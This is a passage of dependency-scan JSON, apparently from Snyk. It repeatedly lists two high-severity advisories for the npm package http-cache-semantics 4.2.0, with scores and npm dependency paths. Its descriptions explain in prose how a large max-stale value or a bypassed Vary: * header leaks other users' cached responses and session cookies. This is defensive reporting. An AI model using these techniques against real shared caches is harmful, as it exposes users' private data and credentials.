"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
